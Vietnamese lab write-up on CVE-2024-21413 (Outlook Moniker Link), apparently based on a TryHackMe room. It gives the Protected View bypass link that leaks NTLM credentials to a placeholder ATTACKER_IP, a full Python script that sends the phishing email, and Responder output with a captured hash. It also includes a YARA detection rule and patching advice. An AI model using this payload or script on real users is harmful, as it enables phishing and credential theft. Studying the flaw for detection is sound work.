Introduction
Là một lỗ hổng trong Microsoft Outlook giúp kẻ tấn công có thể thực hiện RCE và đánh cắp thông tin xác thực. Cụ thể, lỗ hổng này vượt qua các cơ chế bảo mật của Outlook khi nó xử lý một loại siêu liên kết đặc biệt có tên là Moniker Link. Kẻ tấn công có thể gửi email có chứa Moniker Link cho nạn nhân và thông tin xác thực NTLM của họ sẽ được Outlook gửi cho kẻ tấn công khi liên kết được bấm vào.
Điểm CVSS:
CVSS | Description |
---|---|
Publish date | February 13th, 2024 |
MS article | https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2024-21413 |
Impact | Remote Code Execution & Credential Leak |
Severity | Critical |
Attack Complexity | Low |
Scoring | 9.8 |
Moniker Link
Ngoài các URL có scheme là http://
và https://
ở trong HTML của email, Outlook còn có thể mở các URL mà có chỉ định ứng dụng (Moniker Link). Thông thường, Outlook sẽ hiển thị lời nhắc bảo mật khi các ứng dụng bên ngoài được kích hoạt:
Đây là tính năng Protected View của Outlook. Tính năng này cho phép mở các email có chứa các tập tin đính kèm, siêu liên kết hoặc các nội dung tương tự ở chế độ chỉ đọc.
Bằng cách sử dụng scheme file://
trong URL, chúng ta có thể khiến cho Outlook truy cập vào một tập tin, chẳng hạn như là một tập tin trên một network share (<a href="file://ATTACKER_IP/test>Click me</a>
). Khi đó, giao thức SMB sẽ sử dụng local credentials để xác thực. Tuy nhiên, tính năng Protected View của Outlook sẽ chặn hành vi này.
Để bypass Protected View, kẻ tấn công cần thêm ký tự !
vào URL của Moniker Link. Ví dụ:
<a href="file://ATTACKER_IP/test!exploit>Click me</a>
Chú ý rằng network share không nhất thiết phải tồn tại trên máy của kẻ tấn công vì khi nạn nhân bấm vào liên kết trên thì việc xác thực sẽ xảy ra và giá trị băm netNTLMv2 của họ sẽ được gửi cho kẻ tấn công.
Việc RCE là khả thi vì các Moniker Link sử dụng Component Object Model (COM) của Windows1.
Exploitation
Để khai thác, chúng ta sẽ viết script để gửi email có chứa Moniker Link mà có thể vượt qua được Protected View của Outlook.
'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
</body>
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
server.login(sender_email, password)
except Exception as err:
print(err)
exit(-1)
try:
server.sendmail(sender_email, [receiver_email], message.as_string())
print("\n Email delivered")
except Exception as error:
print(error)
finally:
server.quit()
Giải thích các biến và hành vi của PoC:
- Biến
sender_email
và biếnreceiver_email
: email của kẻ tấn công và nạn nhân. - Biến
password
: mật khẩu email của kẻ tấn công để xác thực. - Biến
html_content
: nội dung email có chứa Moniker Link vớiATTACKER_MACHINE
là IP của máy tấn công. - Xây dựng email sử dụng
MIMEMultipart
. - Gửi email đến SMTP server ở địa chỉ
MAILSERVER
với port 25.
Info
Việc sử dụng xác thực SMTP giúp đảm bảo email được gửi có thể vượt qua các giao thức chống giả mạo email chẳng hạn như SPF, DKIM và DMARC (xem thêm TryHackMe - Phishing).
Sử dụng tool responder để tạo ra một SMB listener.
root@attackbox:# responder -I ens5
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.1.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
-- cut for brevity --
[+] Listening for events...
Ví dụ trên sử dụng network interface ens5
.
Sau khi nạn nhân click vào liên kết thì ta nhận được giá trị băm như sau:
[SMB] NTLMv2-SSP Client : ::ffff:10.10.181.5
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:53a4ea0ff09e0e8d:DB8DA2416EC08B740A4D7F469B6CD2D7:010100000000000000569DF1A197DA015F3767A2E2E4E0F1000000000200080036004D004E004E0001001E00570049004E002D00340058005900450042005A0039005700590033004F0004003400570049004E002D00340058005900450042005A0039005700590033004F002E0036004D004E004E002E004C004F00430041004C000300140036004D004E004E002E004C004F00430041004C000500140036004D004E004E002E004C004F00430041004C000700080000569DF1A197DA01060004000200000008003000300000000000000000000000002000002F1D9414142A8C7FD5417992AC245C164DF1CAEE789AAECDE51B5B4463E2188B0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E003200330039002E003000000000000000000000000000
Detection
Có thể sử dụng YARA rule sau để phát hiên Moniker Link có scheme là file://
:
rule EXPL_CVE_2024_21413_Microsoft_Outlook_RCE_Feb24 {
meta:
description = "Detects emails that contain signs of a method to exploit CVE-2024-21413 in Microsoft Outlook"
author = "X__Junior, Florian Roth"
reference = "https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/"
date = "2024-02-17"
modified = "2024-02-19"
score = 75
id = "4512ca7b-0755-565e-84f1-596552949aa5"
strings:
$a1 = "Subject: "
$a2 = "Received: "
$xr1 = /file:\/\/\/\\\\[^"']{6,600}\.(docx|txt|pdf|xlsx|pptx|odt|etc|jpg|png|gif|bmp|tiff|svg|mp4|avi|mov|wmv|flv|mkv|mp3|wav|aac|flac|ogg|wma|exe|msi|bat|cmd|ps1|zip|rar|7z|targz|iso|dll|sys|ini|cfg|reg|html|css|java|py|c|cpp|db|sql|mdb|accdb|sqlite|eml|pst|ost|mbox|htm|php|asp|jsp|xml|ttf|otf|woff|woff2|rtf|chm|hta|js|lnk|vbe|vbs|wsf|xls|xlsm|xltm|xlt|doc|docm|dot|dotm)!/
condition:
filesize < 1000KB
and all of ($a*)
and 1 of ($xr*)
}
Ngoài ra, cũng có thể sử dụng Wireshark để theo dõi các SMB request mà có đính kèm giá trị băm netNTLMv2:
Remediation
Cập nhật Office lên phiên bản mới nhất.
Đồng thời, người dùng cũng không nên bấm vào những liên kết lạ và preview liên kết trước khi bấm vào chúng.
Related
list
from outgoing([[CVE-2024-21413 (Moniker Link)]])
sort file.ctime asc